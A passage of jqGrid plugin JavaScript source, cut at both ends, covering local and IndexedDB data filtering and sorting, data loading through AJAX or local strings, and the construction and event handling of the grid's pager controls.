srules.hasOwnProperty('rules') && srules.rules.length) { var lenn = res.result.length, i=0; while(i<lenn) { if(srules.rules[everyORsome](function(c) { return compareFnMap[c.op](c, res.result[i], _usecase && c.type === 'text');}) ) { total++; retresult[ts.p.localReader.root].push(res.result[i]); } i++; } } else { retresult[ts.p.localReader.root] = res.result; } }; res.onerror = function(event) { console.log(event); }; }; });}, addLocalData = function( retAll ) { var st = ts.p.multiSort ? [] : "", sto=[], fndsort=false, cmtypes={}, grtypes=[], grindexes=[], srcformat, sorttype, newformat, sfld; if(!Array.isArray(ts.p.data)) { return; } var grpview = ts.p.grouping ? ts.p.groupingView : false, lengrp, gin, si; $.each(ts.p.colModel,function(){ if ( !(this.name !== 'cb' && this.name !== 'subgrid' && this.name !== 'rn' && this.name !== 'sc') ) { return true; } sorttype = this.sorttype || "text"; si = this.index || this.name; if(sorttype === "date" || sorttype === "datetime") { if(this.formatter && typeof this.formatter === 'string' && this.formatter === 'date') { if(this.formatoptions && this.formatoptions.srcformat) { srcformat = this.formatoptions.srcformat; } else { srcformat = $.jgrid.getRegional(ts, "formatter.date.srcformat"); } if(this.formatoptions && this.formatoptions.newformat) { newformat = this.formatoptions.newformat; } else { newformat = $.jgrid.getRegional(ts, "formatter.date.newformat"); } } else { srcformat = newformat = this.datefmt || "Y-m-d"; } cmtypes[si] = {"stype": sorttype, "srcfmt": srcformat,"newfmt":newformat, "sfunc": this.sortfunc || null, name : this.name}; } else { cmtypes[si] = {"stype": sorttype, "srcfmt":'',"newfmt":'', "sfunc": this.sortfunc || null, name : this.name}; } if(ts.p.grouping ) { for(gin =0, lengrp = grpview.groupField.length; gin< lengrp; gin++) { if( this.name === grpview.groupField[gin]) { grtypes[gin] = cmtypes[si]; grindexes[gin]= si; } } } if(!ts.p.multiSort) { if(!fndsort && (si === ts.p.sortname)){ st = si; fndsort = true; } } }); if(ts.p.multiSort) { st = sortarr; sto = sortord; } if(ts.p.treeGrid && ts.p._sort) { $(ts).jqGrid("SortTree", st, ts.p.sortorder, cmtypes[st].stype || 'text', cmtypes[st].srcfmt || ''); return; } var compareFnMap = { 'eq':function(queryObj) {return queryObj.equals;}, 'ne':function(queryObj) {return queryObj.notEquals;}, 'lt':function(queryObj) {return queryObj.less;}, 'le':function(queryObj) {return queryObj.lessOrEquals;}, 'gt':function(queryObj) {return queryObj.greater;}, 'ge':function(queryObj) {return queryObj.greaterOrEquals;}, 'cn':function(queryObj) {return queryObj.contains;}, 'nc':function(queryObj,op) {return op === "OR" ? queryObj.orNot().contains : queryObj.andNot().contains;}, 'bw':function(queryObj) {return queryObj.startsWith;}, 'bn':function(queryObj,op) {return op === "OR" ? queryObj.orNot().startsWith : queryObj.andNot().startsWith;}, 'en':function(queryObj,op) {return op === "OR" ? queryObj.orNot().endsWith : queryObj.andNot().endsWith;}, 'ew':function(queryObj) {return queryObj.endsWith;}, "ni":function (queryObj, op) { return op === "OR" ? queryObj.orNot().inData : queryObj.andNot().inData; }, "in":function (queryObj) { return queryObj.inData; }, 'nu':function(queryObj) {return queryObj.isNull;}, 'nn':function(queryObj,op) {return op === "OR" ? queryObj.orNot().isNull : queryObj.andNot().isNull;} }, query = $.jgrid.from.call(ts, ts.p.data); if (ts.p.ignoreCase) { query = query.ignoreCase(); } function tojLinq ( group ) { var s = 0, index, gor, ror, opr, rule, fld; if (!$.jgrid.isNull(group.groups)) { gor = group.groups.length && group.groupOp.toString().toUpperCase() === "OR"; if (gor) { query.orBegin(); } for (index = 0; index < group.groups.length; index++) { if (s > 0 && gor) { query.or(); } try { tojLinq(group.groups[index]); } catch (e) {alert(e);} s++; } if (gor) { query.orEnd(); } } if (!$.jgrid.isNull(group.rules)) { //if(s>0) { // var result = query.select(); // query = $.jgrid.from( result); // if (ts.p.ignoreCase) { query = query.ignoreCase(); } //} try{ ror = group.rules.length && group.groupOp.toString().toUpperCase() === "OR"; if (ror) { query.orBegin(); } var rulefld; for (index = 0; index < group.rules.length; index++) { rule = group.rules[index]; opr = group.groupOp.toString().toUpperCase(); if (compareFnMap[rule.op] && rule.field ) { if(s > 0 && opr && opr === "OR") { query = query.or(); } rulefld = rule.field; if( ts.p.useNameForSearch) { if(cmtypes.hasOwnProperty(rule.field)) { rulefld = cmtypes[rule.field].name; } } try { fld = cmtypes[rule.field]; if(fld.stype === 'date') { if(typeof fld.srcfmt === "string" && typeof fld.newfmt === "string" ) { rule.data = $.jgrid.parseDate.call(ts, fld.newfmt, rule.data, fld.srcfmt); } } query = compareFnMap[rule.op](query, opr)(rulefld, rule.data, fld); } catch (e) {} } else if( ts.p.customFilterDef !== undefined && ts.p.customFilterDef[rule.op] !== undefined && $.jgrid.isFunction(ts.p.customFilterDef[rule.op].action)) { query = query.user.call(ts, rule.op, rule.field, rule.data); } s++; } if (ror) { query.orEnd(); } } catch (g) {alert(g);} } } if (ts.p.search === true) { var srules = ts.p.postData.filters; if(srules) { if(typeof srules === "string") { srules = $.jgrid.parse(srules);} tojLinq( srules ); } else { try { sfld = cmtypes[ts.p.postData.searchField]; if(sfld.stype === 'date') { if(sfld.srcfmt && sfld.newfmt && sfld.srcfmt !== sfld.newfmt ) { ts.p.postData.searchString = $.jgrid.parseDate.call(ts, sfld.newfmt, ts.p.postData.searchString, sfld.srcfmt); } } if(compareFnMap[ts.p.postData.searchOper]) { query = compareFnMap[ts.p.postData.searchOper](query)(ts.p.postData.searchField, ts.p.postData.searchString,cmtypes[ts.p.postData.searchField]); } else if( ts.p.customFilterDef !== undefined && ts.p.customFilterDef[ts.p.postData.searchOper] !== undefined && $.jgrid.isFunction(ts.p.customFilterDef[ts.p.postData.searchOper].action)) { query = query.user.call(ts, ts.p.postData.searchOper, ts.p.postData.searchField, ts.p.postData.searchString); } } catch (se){} } } if(ts.p.treeGrid && ts.p.treeGridModel === "nested") { query.orderBy(ts.p.treeReader.left_field, 'asc', 'integer', '', null); } if(ts.p.treeGrid && ts.p.treeGridModel === "adjacency") { lengrp =0; st = null; } if(ts.p.grouping) { for(gin=0; gin<lengrp;gin++) { query.orderBy(grindexes[gin],grpview.groupOrder[gin],grtypes[gin].stype, grtypes[gin].srcfmt); } } if(ts.p.multiSort) { $.each(st,function(i){ query.orderBy(this, sto[i], cmtypes[this].stype, cmtypes[this].srcfmt, cmtypes[this].sfunc); }); } else { if (st && ts.p.sortorder && fndsort) { // to be fixed in case sortname has more than one field if(ts.p.sortorder.toUpperCase() === "DESC") { query.orderBy(ts.p.sortname, "d", cmtypes[st].stype, cmtypes[st].srcfmt, cmtypes[st].sfunc); } else { query.orderBy(ts.p.sortname, "a", cmtypes[st].stype, cmtypes[st].srcfmt, cmtypes[st].sfunc); } } } var queryResults = query.select(), recordsperpage = parseInt(ts.p.rowNum,10), total = queryResults.length, page = parseInt(ts.p.page,10), totalpages = Math.ceil(total / recordsperpage), retresult = {}; if((ts.p.search || ts.p.resetsearch) && ts.p.grouping && ts.p.groupingView._locgr) { ts.p.groupingView.groups =[]; var j, grPrepare = $.jgrid.getMethod("groupingPrepare"), key, udc; if(ts.p.footerrow && ts.p.userDataOnFooter) { for (key in ts.p.userData) { if(ts.p.userData.hasOwnProperty(key)) { ts.p.userData[key] = 0; } } udc = true; } for(j=0; j<total; j++) { if(udc) { for(key in ts.p.userData){ if( ts.p.userData.hasOwnProperty( key ) ) { ts.p.userData[key] += parseFloat(queryResults[j][key] || 0); } } } grPrepare.call($(ts),queryResults[j],j, recordsperpage ); } } if( retAll ) { return queryResults; } if(ts.p.treeGrid && ts.p.search) { queryResults = $(ts).jqGrid("searchTree", queryResults); } else { queryResults = queryResults.slice( (page-1)*recordsperpage , page*recordsperpage ); } query = null; cmtypes = null; retresult[ts.p.localReader.total] = totalpages; retresult[ts.p.localReader.page] = page; retresult[ts.p.localReader.records] = total; retresult[ts.p.localReader.root] = queryResults; retresult[ts.p.localReader.userdata] = ts.p.userData; queryResults = null; return retresult; }, updatepager = function(rn, dnd) { var cp, last, base, from,to,tot,fmt, pgboxes = "", sppg, pgid = ts.p.pager ? ts.p.pager.substring(1) : "", tspg = pgid ? "_"+pgid : "", tspg_t = ts.p.toppager ? "_"+ts.p.toppager.slice(1) : ""; base = parseInt(ts.p.page,10)-1; if(base < 0) { base = 0; } base = base*parseInt(ts.p.rowNum,10); to = base + ts.p.reccount; if (ts.p.scroll) { var rows = $("tbody", ts.grid.bDiv).first().find("> tr").slice( 1 ); if(to > ts.p.records) { to = ts.p.records; } base = to - rows.length; ts.p.reccount = rows.length; var rh = rows.outerHeight() || ts.grid.prevRowHeight; if (rh) { var top = base * rh; var height = parseInt(ts.p.records,10) * rh; $(ts.grid.bDiv).find(">div").first().css({height : height}).children("div").first().css({height:top,display:top?"":"none"}); if (ts.grid.bDiv.scrollTop === 0 && ts.p.page > 1) { ts.grid.bDiv.scrollTop = ts.p.rowNum * (ts.p.page - 1) * rh; } } ts.grid.bDiv.scrollLeft = ts.grid.hDiv.scrollLeft; } pgboxes = ts.p.pager || ""; pgboxes += ts.p.toppager ? (pgboxes ? "," + ts.p.toppager : ts.p.toppager) : ""; if(pgboxes) { fmt = $.jgrid.getRegional(ts, "formatter.integer"); cp = intNum(ts.p.page); last = intNum(ts.p.lastpage); $(".selbox",pgboxes)[ this.p.useProp ? 'prop' : 'attr' ]("disabled",false); if(ts.p.pginput===true) { $('.ui-pg-input',pgboxes)[$('.ui-pg-input',pgboxes).first().is(':input')?'val':'html']( (last < cp) ? ts.p.lastpage : ts.p.page); sppg = ts.p.toppager ? '#sp_1'+tspg+",#sp_1"+tspg_t : '#sp_1'+tspg; $(sppg).html($.fmatter ? $.fmatter.util.NumberFormat(ts.p.lastpage,fmt):ts.p.lastpage); } if (ts.p.viewrecords){ if(ts.p.reccount === 0) { $(".ui-paging-info",pgboxes).html($.jgrid.getRegional(ts, "defaults.emptyrecords", ts.p.emptyrecords )); } else { from = base+1; tot=ts.p.records; if($.fmatter) { from = $.fmatter.util.NumberFormat(from,fmt); to = $.fmatter.util.NumberFormat(to,fmt); tot = $.fmatter.util.NumberFormat(tot,fmt); } var rt = $.jgrid.getRegional(ts, "defaults.recordtext", ts.p.recordtext); $(".ui-paging-info",pgboxes).html($.jgrid.template( rt ,from,to,tot)); } } if(ts.p.pgbuttons===true) { if(cp<=0) {cp = last = 0;} if(cp===1 || cp === 0) { $("#first"+tspg+", #prev"+tspg).addClass( disabled ).removeClass( hover ); if(ts.p.toppager) { $("#first_t"+tspg_t+", #prev_t"+tspg_t).addClass( disabled ).removeClass( hover ); } } else { $("#first"+tspg+", #prev"+tspg).removeClass( disabled ); if(ts.p.toppager) { $("#first_t"+tspg_t+", #prev_t"+tspg_t).removeClass( disabled ); } } if(cp===last || cp === 0) { $("#next"+tspg+", #last"+tspg).addClass( disabled ).removeClass( hover ); if(ts.p.toppager) { $("#next_t"+tspg_t+", #last_t"+tspg_t).addClass( disabled ).removeClass( hover ); } } else { $("#next"+tspg+", #last"+tspg).removeClass( disabled ); if(ts.p.toppager) { $("#next_t"+tspg_t+", #last_t"+tspg_t).removeClass( disabled ); } } } } if(rn===true && ts.p.rownumbers === true) { $(">td.jqgrid-rownum",ts.rows).each(function(i){ $(this).html(base+1+i); }); } if(ts.p.reccount === 0 ) { var classes = ts.p.emptyRecordRow ? getstyle(stylemodule, 'rowBox', true, 'jqgrow ui-row-'+ ts.p.direction+' not-editable-row not-editable-cell '+ disabled) : 'jqgfirstrow not-editable-row not-editable-cell', tstr = constructTr("norecs", false, classes, {}, ""); tstr += ts.p.emptyRecordRow ? "<td style='text-align:center;' colspan='"+grid.headers.length+"'>"+$.jgrid.getRegional(ts, "defaults.emptyrecords", ts.p.emptyrecords )+"</td>" : "<td style='height:0.1px;visibility:hidden;' colspan='"+grid.headers.length+"'> </td>"; tstr += "</tr>"; $(grid.bDiv).find("table").first().append(tstr); } if(dnd && ts.p.jqgdnd) { $(ts).jqGrid('gridDnD','updateDnD');} $(ts).triggerHandler("jqGridGridComplete"); if($.jgrid.isFunction(ts.p.gridComplete)) {ts.p.gridComplete.call(ts);} $(ts).triggerHandler("jqGridAfterGridComplete"); }, beginReq = function() { ts.grid.hDiv.loading = true; if(ts.p.hiddengrid) { return;} $(ts).jqGrid("progressBar", {method:"show", loadtype : ts.p.loadui, htmlcontent: $.jgrid.getRegional(ts, "defaults.loadtext", ts.p.loadtext) }); }, endReq = function() { ts.grid.hDiv.loading = false; $(ts).jqGrid("progressBar", {method:"hide", loadtype : ts.p.loadui }); }, beforeprocess = function(data, st, xhr) { var bfpcr = $(ts).triggerHandler("jqGridBeforeProcessing", [data,st,xhr]); bfpcr = (bfpcr === undefined || typeof(bfpcr) !== 'boolean') ? true : bfpcr; if ($.jgrid.isFunction(ts.p.beforeProcessing)) { if (ts.p.beforeProcessing.call(ts, data, st, xhr) === false) { bfpcr = false; } } return bfpcr; }, afterprocess = function(dstr, lcf) { $(ts).triggerHandler("jqGridLoadComplete", [dstr]); if(lcf) {ts.p.loadComplete.call(ts,dstr);} $(ts).triggerHandler("jqGridAfterLoadComplete", [dstr]); ts.p.datatype = "local"; ts.p.datastr = null; endReq(); }, populate = function (npage) { if(!ts.grid.hDiv.loading) { var pvis = ts.p.scroll && npage === false, prm = {}, dt, dstr, pN=ts.p.prmNames; spsh = 0; if(ts.p.page <=0) { ts.p.page = Math.min(1,ts.p.lastpage); } if( !$.jgrid.isNull(pN.search, true) ) {prm[pN.search] = ts.p.search;} if(!$.jgrid.isNull(pN.nd, true) ) {prm[pN.nd] = new Date().getTime();} if(!$.jgrid.isNull(pN.rows, true) ) {prm[pN.rows]= ts.p.rowNum;} if(!$.jgrid.isNull(pN.page, true) ) {prm[pN.page]= ts.p.page;} if(!$.jgrid.isNull(pN.sort, true) ) {prm[pN.sort]= ts.p.sortname;} if(!$.jgrid.isNull(pN.order, true) ) {prm[pN.order]= ts.p.sortorder;} if(!$.jgrid.isNull(ts.p.rowTotal, true) && !$.jgrid.isNull(pN.totalrows, true) ) { prm[pN.totalrows]= ts.p.rowTotal; } var lcf = $.jgrid.isFunction(ts.p.loadComplete), lc = lcf ? ts.p.loadComplete : null; var adjust = 0; npage = npage || 1; if (npage > 1) { if( !$.jgrid.isNull(pN.npage, true) ) { prm[pN.npage] = npage; adjust = npage - 1; npage = 1; } else { lc = function(req) { ts.p.page++; ts.grid.hDiv.loading = false; if (lcf) { ts.p.loadComplete.call(ts,req); } populate(npage-1); }; } } else if (!$.jgrid.isNull(pN.npage, true) ) { delete ts.p.postData[pN.npage]; } if(ts.p.grouping) { $(ts).jqGrid('groupingSetup'); var grp = ts.p.groupingView, gi, gs="", tmpordarr = []; for(gi=0;gi<grp.groupField.length;gi++) { var index = grp.groupField[gi]; $.each(ts.p.colModel, function(cmIndex, cmValue) { if (cmValue.name === index && cmValue.index){ index = cmValue.index; } } ); tmpordarr.push(index +" "+grp.groupOrder[gi]); } gs = tmpordarr.join(); if( $.jgrid.trim(prm[pN.sort]) !== "") { prm[pN.sort] = gs!=="" ? gs + " ,"+prm[pN.sort] : prm[pN.sort]; } else { prm[pN.sort] = gs; prm[pN.order] = ""; } if(ts.p.datatype==='local' && !grp._locgr) { ts.p.datatype = 'jsonstring'; ts.p.datastr = ts.p.data; } } $.extend(ts.p.postData,prm); var rcnt = !ts.p.scroll ? 1 : ts.rows.length-1; if ($.jgrid.isFunction(ts.p.datatype)) { ts.p.datatype.call(ts,ts.p.postData,"load_"+ts.p.id, rcnt, npage, adjust); return; } var bfr = $(ts).triggerHandler("jqGridBeforeRequest"); if (bfr === false || bfr === 'stop') { return; } if ($.jgrid.isFunction(ts.p.beforeRequest)) { bfr = ts.p.beforeRequest.call(ts); if (bfr === false || bfr === 'stop') { return; } } //bvn if ($.jgrid.isFunction(ts.treeGrid_beforeRequest)) { ts.treeGrid_beforeRequest.call(ts); } dt = ts.p.datatype.toLowerCase(); switch(dt) { case "json": case "jsonp": case "xml": case "script": $.ajax($.extend({ url:ts.p.url, type:ts.p.mtype, dataType: dt , data: $.jgrid.isFunction(ts.p.serializeGridData)? ts.p.serializeGridData.call(ts,ts.p.postData) : ts.p.postData, success:function(data,st, xhr) { if(!beforeprocess(data, st,xhr)) { endReq(); return; } if(dt === "xml") { addXmlData(data, rcnt,npage>1,adjust); } else { addJSONData(data, rcnt, npage>1, adjust); } $(ts).triggerHandler("jqGridLoadComplete", [data]); if(lc) { lc.call(ts,data); } $(ts).triggerHandler("jqGridAfterLoadComplete", [data]); if (pvis) { ts.grid.populateVisible(); } if (!ts.p.treeGrid_bigData) { if( ts.p.loadonce || ts.p.treeGrid) {ts.p.datatype = "local";} } else { if( ts.p.loadonce) {ts.p.datatype = "local";} //bvn13 } data=null; if (npage === 1) { endReq(); } // bvn if ($.jgrid.isFunction(ts.treeGrid_afterLoadComplete)) { ts.treeGrid_afterLoadComplete.call(ts); } }, error:function(xhr,st,err){ $(ts).triggerHandler("jqGridLoadError", [xhr,st,err]); if($.jgrid.isFunction(ts.p.loadError)) { ts.p.loadError.call(ts,xhr,st,err); } if (npage === 1) { endReq(); } xhr=null; }, beforeSend: function(xhr, settings ){ var gotoreq = true; gotoreq = $(ts).triggerHandler("jqGridLoadBeforeSend", [xhr,settings]); if($.jgrid.isFunction(ts.p.loadBeforeSend)) { gotoreq = ts.p.loadBeforeSend.call(ts,xhr, settings); } if(gotoreq === undefined) { gotoreq = true; } if(gotoreq === false) { return false; } beginReq(); } },$.jgrid.ajaxOptions, ts.p.ajaxGridOptions)); break; case "xmlstring": beginReq(); dstr = typeof ts.p.datastr !== 'string' ? ts.p.datastr : $.parseXML(ts.p.datastr); if(!beforeprocess(dstr, 200 , null)) { endReq(); return; } addXmlData(dstr); afterprocess(dstr, lcf); break; case "jsonstring": beginReq(); if(typeof ts.p.datastr === 'string') { dstr = $.jgrid.parse(ts.p.datastr); } else { dstr = ts.p.datastr; } if(!beforeprocess(dstr, 200 , null)) { endReq(); return; } addJSONData(dstr); if(ts.p.grouping && ts.p.groupingView._locgr) { // back to original data??? ts.p.data = dstr; } afterprocess(dstr, lcf); break; case "local": case "clientside": beginReq(); ts.p.datatype = "local"; ts.p._ald = true; var req = addLocalData( false ); if(!beforeprocess(req, 200 , null)) { endReq(); return; } addJSONData(req,rcnt,npage>1,adjust); $(ts).triggerHandler("jqGridLoadComplete", [req]); if(lc) { lc.call(ts,req); } $(ts).triggerHandler("jqGridAfterLoadComplete", [req]); if (pvis) { ts.grid.populateVisible(); } endReq(); ts.p._ald = false; break; case "indexeddb": if(!ts.p.dbconfig.ready_req) { return; } beginReq(); addIndexedDBData(false).then(function(res) { if(!beforeprocess(res, 200 , null)) { endReq(); return; } addJSONData(res, rcnt, npage>1, adjust); $(ts).triggerHandler("jqGridLoadComplete", [res]); if(lc) { lc.call(ts,res); } $(ts).triggerHandler("jqGridAfterLoadComplete", [res]); if (pvis) { ts.grid.populateVisible(); } endReq(); ts.p._ald = false; }); break; } ts.p._sort = false; } }, setHeadCheckBox = function ( checked ) { $('#cb_'+$.jgrid.jqID(ts.p.id),ts.grid.hDiv)[ts.p.useProp ? 'prop': 'attr']("checked", checked); var fid = ts.p.frozenColumns ? ts.p.id+"_frozen" : ""; if(fid) { $('#cb_'+$.jgrid.jqID(ts.p.id),ts.grid.fhDiv)[ts.p.useProp ? 'prop': 'attr']("checked", checked); } }, setPager = function (pgid, tp){ // TBD - consider escaping pgid with pgid = $.jgrid.jqID(pgid); var sep = "<td class='ui-pg-button "+disabled+"'><span class='ui-separator'></span></td>", pginp = "", pgl="<table class='ui-pg-table ui-common-table ui-paging-pager'><tbody><tr>", str="", pgcnt, lft, cent, rgt, twd, tdw, i, removebutt, clearVals = function(onpaging, thus){ var ret; ret = $(ts).triggerHandler("jqGridPaging", [onpaging, thus]); if(ret==='stop') {return false;} if ($.jgrid.isFunction(ts.p.onPaging) ) { ret = ts.p.onPaging.call(ts,onpaging, thus); } if(ret==='stop') {return false;} ts.p.selrow = null; if(ts.p.multiselect) { if(!ts.p.preserveSelection) { ts.p.selarrrow =[]; } setHeadCheckBox( false ); } ts.p.savedRow = []; return true; }; //pgid = pgid.substr(1); tp += "_" + pgid; pgcnt = "pg_"+pgid; lft = pgid+"_left"; cent = pgid+"_center"; rgt = pgid+"_right"; $("#"+$.jgrid.jqID(pgid) ) .append("<div id='"+pgcnt+"' class='ui-pager-control' role='group'><table " + getstyle(stylemodule, 'pagerTable', false, 'ui-pg-table ui-common-table ui-pager-table') + "><tbody><tr><td id='"+lft+"' align='left'></td><td id='"+cent+"' align='center' style='white-space:pre;'></td><td id='"+rgt+"' align='right'></td></tr></tbody></table></div>") .attr("dir", dir); if(ts.p.rowList.length >0){ str = "<td dir=\""+dir+"\">"; str +="<select "+getstyle(stylemodule, 'pgSelectBox', false, 'ui-pg-selbox')+" size=\"1\" name=\"pg_sel_box\" role=\"listbox\" title=\""+($.jgrid.getRegional(ts,"defaults.pgrecs",ts.p.pgrecs) || "")+ "\">"; var strnm; for(i=0;i<ts.p.rowList.length;i++){ strnm = ts.p.rowList[i].toString().split(":"); if(strnm.length === 1) { strnm[1] = strnm[0]; } if (strnm[1].length == 0) { str +="<option role=\"option\" value=\""+strnm[0]+"\""+(( intNum(ts.p.rowNum,0) === intNum(strnm[0],0))?" aria-label=\""+strnm[1]+"\" selected=\"selected\"":"")+">"+strnm[1]+"</option>"; } else { str +="<option role=\"option\" value=\""+strnm[0]+"\""+(( intNum(ts.p.rowNum,0) === intNum(strnm[0],0))?" selected=\"selected\"":"")+">"+strnm[1]+"</option>"; } } str +="</select></td>"; } if(dir==="rtl") { pgl += str; $("#"+rgt).attr("align","left"); } if(ts.p.pginput===true) { pginp= "<td id='input"+tp+"' dir='"+dir+"'>"+$.jgrid.template( $.jgrid.getRegional(ts, "defaults.pgtext", ts.p.pgtext) || "","<input "+getstyle(stylemodule, 'pgInput', false, 'ui-pg-input') + " type='text' size='2' maxlength='7' value='0' role='textbox' name='jqgpginput'/>","<span id='sp_1_"+$.jgrid.jqID(pgid)+"'></span>")+"</td>"; } var po=["first"+tp,"prev"+tp, "next"+tp,"last"+tp]; if(ts.p.pgbuttons===true) { var btc=getstyle(stylemodule, 'pgButtonBox', true, 'ui-pg-button'), pot = [($.jgrid.getRegional(ts,"defaults.pgfirst",ts.p.pgfirst) || ""), ($.jgrid.getRegional(ts,"defaults.pgprev",ts.p.pgprev) || ""), ($.jgrid.getRegional(ts,"defaults.pgnext",ts.p.pgnext) || ""), ($.jgrid.getRegional(ts,"defaults.pglast",ts.p.pglast) || "")], n1, n2,n3, n4, nn; if(dir==="rtl") { po.reverse(); pot.reverse(); } n1 = "<td id='"+po[0]+"' class='"+btc+"' title='"+ pot[0] +"'" + "><span " + getstyle(stylemodule, 'icon_first', false, iconbase)+"></span></td>"; n2 = "<td id='"+po[1]+"' class='"+btc+"' title='"+ pot[1] +"'" +"><span " + getstyle(stylemodule, 'icon_prev', false, iconbase)+"></span></td>"; n3 = "<td id='"+po[2]+"' class='"+btc+"' title='"+ pot[2] +"'" +"><span " + getstyle(stylemodule, 'icon_next',false, iconbase)+"></span></td>"; n4 = "<td id='"+po[3]+"' class='"+btc+"' title='"+ pot[3] +"'" +"><span " + getstyle(stylemodule, 'icon_end',false, iconbase)+"></span></td>"; nn = pginp !== "" ? sep+pginp+sep:""; if (dir === 'ltr') { pgl += n1 + n2 + nn + n3 + n4; } else { pgl += n4 + n3 +nn + n2 + n1; } } else if (pginp !== "") { pgl += pginp; } if(dir==="ltr") { pgl += str; } pgl += "</tr></tbody></table>"; pgid = $.jgrid.jqID(pgid); pgcnt = $.jgrid.jqID(pgcnt); if(ts.p.viewrecords===true) { $("td#"+pgid+"_"+ts.p.recordpos,"#"+pgcnt).append("<div dir='"+dir+"' class='ui-paging-info'></div>"); } $("td#"+pgid+"_"+ts.p.pagerpos,"#"+pgcnt).append(pgl); tdw = $("#gbox_"+$.jgrid.jqID(ts.p.id)).css("font-size") || "11px"; $("#gbox_"+$.jgrid.jqID(ts.p.id)).append("<div id='testpg' "+getstyle(stylemodule, 'entrieBox', false, 'ui-jqgrid')+" style='font-size:"+tdw+";visibility:hidden;' ></div>"); twd = $(pgl).clone().appendTo("#testpg").width(); $("#testpg").remove(); if(twd > 0) { if(pginp !== "") { twd += 50; } //should be param removebutt = twd > $("td#"+pgid+"_"+ts.p.pagerpos,"#"+pgcnt).innerWidth(); $("td#"+pgid+"_"+ts.p.pagerpos,"#"+pgcnt).width(twd); } ts.p._nvtd = []; ts.p._nvtd[0] = twd ? Math.floor((ts.p.width - twd)/2) : Math.floor(ts.p.width/3); ts.p._nvtd[1] = 0; pgl=null; $('.ui-pg-selbox',"#"+pgcnt).on('change',function() { if(!clearVals('records', this)) { return false; } ts.p.page = Math.round(ts.p.rowNum*(ts.p.page-1)/this.value-0.5)+1; ts.p.rowNum = this.value; if(ts.p.pager) { $('.ui-pg-selbox', ts.p.pager ).val(this.value); } if(ts.p.toppager) { $('.ui-pg-selbox', ts.p.toppager).val(this.value); } populate(); return false; }); if(ts.p.pgbuttons===true) { $(".ui-pg-button","#"+pgcnt).hover(function(){ if($(this).hasClass(disabled)) { this.style.cursor='default'; } else { $(this).addClass(hover); this.style.cursor='pointer'; } },function() { if(!$(this).hasClass(disabled)) { $(this).removeClass(hover); this.style.cursor= "default"; } }); $("#first"+$.jgrid.jqID(tp)+", #prev"+$.jgrid.jqID(tp)+", #next"+$.jgrid.jqID(tp)+", #last"+$.jgrid.jqID(tp)).click( function() { if ($(this).hasClass(disabled)) { return false; } var cp = intNum(ts.p.page,1), last = intNum(ts.p.lastpage,1), selclick = false, fp=true, pp=true, np=true,lp=true; if(last ===0 || last===1) { fp=false; pp=false; np=false; lp=false; } else if( last>1 && cp >=1) { if( cp === 1) { fp=false; pp=false; } else if( cp===last){ np=false; lp=false; } } else if( last>1 && cp===0 ) { np=false; lp=false; cp=last-1; } if(!clearVals(this.id.split("_")[0], this)) { return false; } if( this.id === 'first'+tp && fp ) { ts.p.page=1; selclick=true;} if( this.id === 'prev'+tp && pp) { ts.p.page=(cp-1); selclick=true;} if( this.id === 'next'+tp && np) { ts.p.page=(cp+1); selclick=true;} if( this.id === 'last'+tp && lp) { ts.p.page=last; selclick=true;} if(selclick) { populate(); } $.jgrid.setSelNavIndex(ts, this); return false; }); } if(ts.p.pginput===true) { $("#"+pgcnt).on('keypress','input.ui-pg-input', function(e) { var key = e.charCode || e.keyCode || 0; if(key === 13) { e.preventDefault(); if(!clearVals('user', this)) { return false; } $(this).val( intNum( $(this).val(), 1)); ts.p.page = ($(this).val()>0) ? $(this).val():ts.p.page; populate(); return false; } return this; }); } if(removebutt && ts.p.responsive && !ts.p.forcePgButtons) { $("#"+po[0]+",#"+po[3]+",#input"+$.jgrid.jqID(tp)).hide(); $(".ui-paging-info", "td#"+pgid+"_"+ts.p.recordpos).hide(); $(".ui-pg-selbox","td#"+pgid+"_"+ts.p.pagerpos).hide(); } }, multiSort = function(iCol, obj, sor ) { var cm = ts.p.colModel,selarr =[], /*ts.p.frozenColumns ? (ts.p.autoResizing ? ts.grid.headers[iCol].el : obj) :*/ so="", sn; selarr.push(ts.grid.headers[iCol].el); if(ts.p.frozenColumns) { selarr.push(obj); } $("span.ui-grid-ico-sort",selarr).addClass(disabled); $(selarr).attr({"aria-selected":"false","aria-sort" : "none"}); sn = (cm[iCol].index || cm[iCol].name); if ( typeof sor === "undefined" ) { if(cm[iCol].lso) { if(cm[iCol].lso==="asc") { cm[iCol].lso += "-desc"; so = "desc"; } else if(cm[iCol].lso==="desc") { cm[iCol].lso += "-asc"; so = "asc"; } else if(cm[iCol].lso==="asc-desc" || cm[iCol].lso==="desc-asc") { cm[iCol].lso=""; } } else { cm[iCol].lso = so = cm[iCol].firstsortorder || 'asc'; } } else { cm[iCol].lso = so = sor; } if( so ) { $("span.s-ico",selarr).show(); $("span.ui-icon-"+so,selarr).removeClass(disabled); $(selarr).attr({"aria-selected":"true","aria-sort" : so+"ending"}); } else { if(!ts.p.viewsortcols[0]) { $("span.s-ico",selarr).hide(); } } var isn = sortarr.indexOf( sn ); if( isn === -1 ) { sortarr.push( sn ); sortord.push( so ); } else { if( so ) { sortord[isn] = so; } else { sortord.splice( isn, 1 ); sortarr.splice( isn, 1 ); } } ts.p.sortorder = ""; ts.p.sortname = ""; for( var i = 0, len = sortarr.length; i < len ; i++) { if( i > 0) { ts.p.sortname += ", "; } ts.p.sortname += sortarr[ i ]; if( i !== len -1) { ts.p.sortname += " "+sortord[ i ]; } } ts.p.sortorder = sortord[ len -1 ]; /* $.each(cm, function(i){ if(this.lso) { if(i>0 && fs) { sort += ", "; } splas = this.lso.split("-"); sort += cm[i].index || cm[i].name; sort += " "+splas[splas.length-1]; fs = true; ts.p.sortorder = splas[splas.length-1]; } }); ls = sort.lastIndexOf(ts.p.sortorder); sort = sort.substring(0, ls); ts.p.sortname = sort; */ }, sortData = function (index, idxcol,reload,sor, obj){ if(!ts.p.colModel[idxcol].sortable) { return; } if(ts.p.savedRow.length > 0) {return;} if(!reload) { if( ts.p.lastsort === idxcol && ts.p.sortname !== "" ) { if( ts.p.sortorder === 'asc') { ts.p.sortorder = 'desc'; } else if(ts.p.sortorder === 'desc') { ts.p.sortorder = 'asc';} } else { ts.p.sortorder = ts.p.colModel[idxcol].firstsortorder || 'asc'; } ts.p.page = 1; } if(ts.p.multiSort) { multiSort( idxcol, obj, sor); } else { if(sor) { if(ts.p.lastsort === idxcol && ts.p.sortorder === sor && !reload) { return; } ts.p.sortorder = sor; } var previousSelectedTh = ts.grid.headers[ts.p.lastsort] ? ts.grid.headers[ts.p.lastsort].el : null, newSelectedTh = /*ts.p.frozenColumns ? obj :*/ ts.grid.headers[idxcol].el, newSelThFC = 